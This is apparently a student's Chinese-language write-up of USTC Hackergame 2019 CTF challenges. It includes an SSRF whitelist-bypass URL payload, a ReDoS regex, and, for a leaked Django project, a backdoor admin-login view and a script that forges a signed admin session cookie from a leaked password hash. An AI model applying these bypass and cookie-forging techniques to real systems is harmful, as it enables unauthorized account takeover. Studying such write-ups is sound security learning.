前幾天跟着幾個大佬一塊兒看了看中科大的Hackergame2019,這個比賽主要針對的是新手,激發新生對CTF比賽的興趣,雖然我已經大三了,但實在是由於我過於five,也只能幫大佬打打雜,這裏把本身作的題仍是寫一下wp,記錄一下。html
其實前面3個都是簽到題,沒意思,就不寫了~~~python
一個簡單的SSRFgit
後臺代碼寫了個白名單,能夠繞過,下載下來的源代碼以下,check_hostname爲過濾函數github
from flask import Flask, render_template, request, send_from_directory
import requests # well, requests is designed for humans, and I like it.
app = Flask(__name__)
whitelist_hostname = ["example.com",
"www.example.com"]
whitelist_scheme = ["http://"]
def check_hostname(url):
for i in whitelist_scheme:
if url.startswith(i): #輸入的url必須以http:// 開頭
url = url[len(i):] # 返回http://後面的字符串
url = url[url.find("@") + 1:] # 返回@後面的字符
if not url.find("/") == -1:
url = url[:url.find("/")] # 返回/前的字符
if not url.find(":") == -1:
url = url[:url.find(":")] # 返回:前的字符
if url not in whitelist_hostname:
return (False, "hostname {} not in whitelist".format(url))
return (True, "ok")
return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))
我構造的payload爲 url=http://web1/flag?@example.com:80
web
這道題主要是在買雞那裏,存在整數溢出,個人作法是,F12修改一個value值,當值小於 等於-1900000000000000000 時,就會發生整數溢出,戰鬥力變成一個很大的值,就能夠愉快的打龍,獲得flag正則表達式
這道題的要求是,在有限的長度(6)內構造一個正則表達式,要求匹配一個長度爲24之內的字符串,十匹配的時間大於一秒,這裏是考點主要是正則回溯數據庫
構造以下,就能獲得flagdjango
Regex: (a*)*S
String: aaaaaaaaaaaaaaaaaaaaaaab
這是題目的源碼flask
#!/usr/bin/env python3
import signal
import re
def flag(*args, **kwargs):
print(open("flag").read())
exit()
def main():
print("Welcome to the free online Regular Expression Verifier")
print("Please enter your RegEx and string and I will match them for you\n")
r = input("RegEx: ")
if len(r) > 6:
print("Sorry your regex is too long.")
exit()
s = input("String: ")
if len(s) > 24:
print("Sorry your string is too long.")
exit()
r = re.compile(r)
signal.signal(signal.SIGALRM, flag)
signal.alarm(1)
m = r.search(s)
signal.alarm(0)
if m:
print("Your regex matches the string!")
else:
print("Your regex doesn't match the string!")
if __name__ == "__main__":
signal.alarm(30)
main()
下載下來的附件解壓後是一個視頻,時間長達11:58:24,提示也很明顯的說了是插了幀在裏面,用ffmepg每秒存了24張圖,跑下來一共有107W多張,傻乎乎的寫了圖像識別的代碼,然而個人代碼太垃圾,效率還不如直接肉眼預覽,因而就傻呼呼的看了快20W張,而後才發現其實直接把圖片按大小排序,最小的幾張就是,拼起來就是,後面又聽見大佬們說,ffmepg能夠直接分析不一樣的幀,卑微.jpgcookie
直接識別的命令以下
ffmpeg -i input.mp4 -vf "select=gt(scene\,0.3), scale=320:240" -vsync vfr flag_frame%03d.png
根據提示,在 https://github.com/openlug/django-common 或者 https://gitlab.com/openlug/django-common 找到源代碼。用 openlug 和 Rabbit House 都是能搜到結果的。
簡單的解法
須要簡單學習 Django,並添加一個可讓你登陸爲 admin 的路由。
在 app/views.py
添加:
from django.contrib.auth.models import User
def backdoor(request):
user = User.objects.get(username="admin") # 使用 Django ORM 選擇 admin 用戶
login(request, user) # 以 admin 的身份登陸
return redirect(reverse("profile")) # 跳轉到 profile
而後在 app/urls.py 裏的 urlpatterns 裏面添加 URL:
path('backdoor', views.backdoor, name='backdoor')
而後開跑:python manage.py runserver
訪問咱們加入的 backdoor,就能夠看到 admin 的 cookie 了。把這個 cookie 複製,在 Console 裏面 document.cookie=... 給 cookie 賦值,進入 /profile 就好了。
複雜的解法
這是我最開始出完題以後使用的解法。這種解法須要去看 Django 的源代碼,瞭解其是如何處理 session 的。
首先根據 https://docs.djangoproject.com/en/2.2/topics/http/sessions/#using-cookie-based-sessions ,加上 settings.py 裏面的設置,能夠看到 session 設置成了簽名後存儲在 cookie 中。文檔同時也給了一個 RCE 警告,可是由於咱們沒有用 PickleSerializer,因此沒有這個漏洞。
從簽名還原 session
登陸爲 guest,能夠看到 guest 的 cookie 爲
sessionid=.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iLiU1:d4koNGDuy18fbggeMbGhprUL_gs
而後呢?若是直接用 https://docs.djangoproject.com/en/2.2/topics/signing/ 裏的方式,用 signing.loads(value) 的話,只能獲得一條 Exception。咱們要看django.contrib.sessions.backends.signed_cookies
的實現。在此類的 load 方法中,能夠看到:
return signing.loads(
self.session_key,
serializer=self.serializer,
\# This doesn't handle non-default expiry dates, see #19201
max_age=settings.SESSION_COOKIE_AGE,
salt='django.contrib.sessions.backends.signed_cookies',
)
它加鹽了。咱們用這個鹽從新加載:
value = ".eJx(以後的內容省略)"
signing.loads(value, salt='django.contrib.sessions.backends.signed_cookies')
能夠看到 guest session 是:
{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
修改 session
咱們的目標是讓 _auth_user_id 爲 1,而且改變後面對應的 _auth_user_hash,使 Django 認爲咱們的 cookie 是正確的。但後面那個 _auth_user_hash 又是個什麼東西?
搜索 auth_user_hash,能夠找到 https://docs.djangoproject.com/zh-hans/2.2/modules/django/contrib/auth/ ,其中對應到了 HASH_SESSION_KEY 變量,最終能夠找到user.get_session_auth_hash()
。
這個函數的實如今 django/contrib/auth/base_user.py。
def get_session_auth_hash(self):
"""
Return an HMAC of the password field.
"""
key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash"
return salted_hmac(key_salt, self.password).hexdigest()
這裏的 self.password 不是原始密碼,而是數據庫中存儲的密碼哈希。讀一下附送的 SQLite 數據庫的 auth_user 表就能夠了。
最終 exp 以下:
from django.core import signing
from django.utils.crypto import salted_hmac
admin_hash = "pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE="
_auth_user_hash = salted_hmac("django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash",
admin_hash).hexdigest()
payload = {'_auth_user_id': '1',
'_auth_user_backend': 'django.contrib.auth.backends.ModelBackend',
'_auth_user_hash': _auth_user_hash}
cookie = signing.dumps(payload,
salt='django.contrib.sessions.backends.signed_cookies',
compress=True)
print(cookie)
花了好幾天,就只作了這幾道題(最後一個被泄露的姜戈是賽後看wp復現的),我真的是太菜了,隊友警察也作了幾個逆向,wp就讓他寫吧,我就不寫了,到時候貼上他的博客連接就好,官方wp的github地址也放在下面了
官方:https://github.com/ustclug/hackergame2019-writeups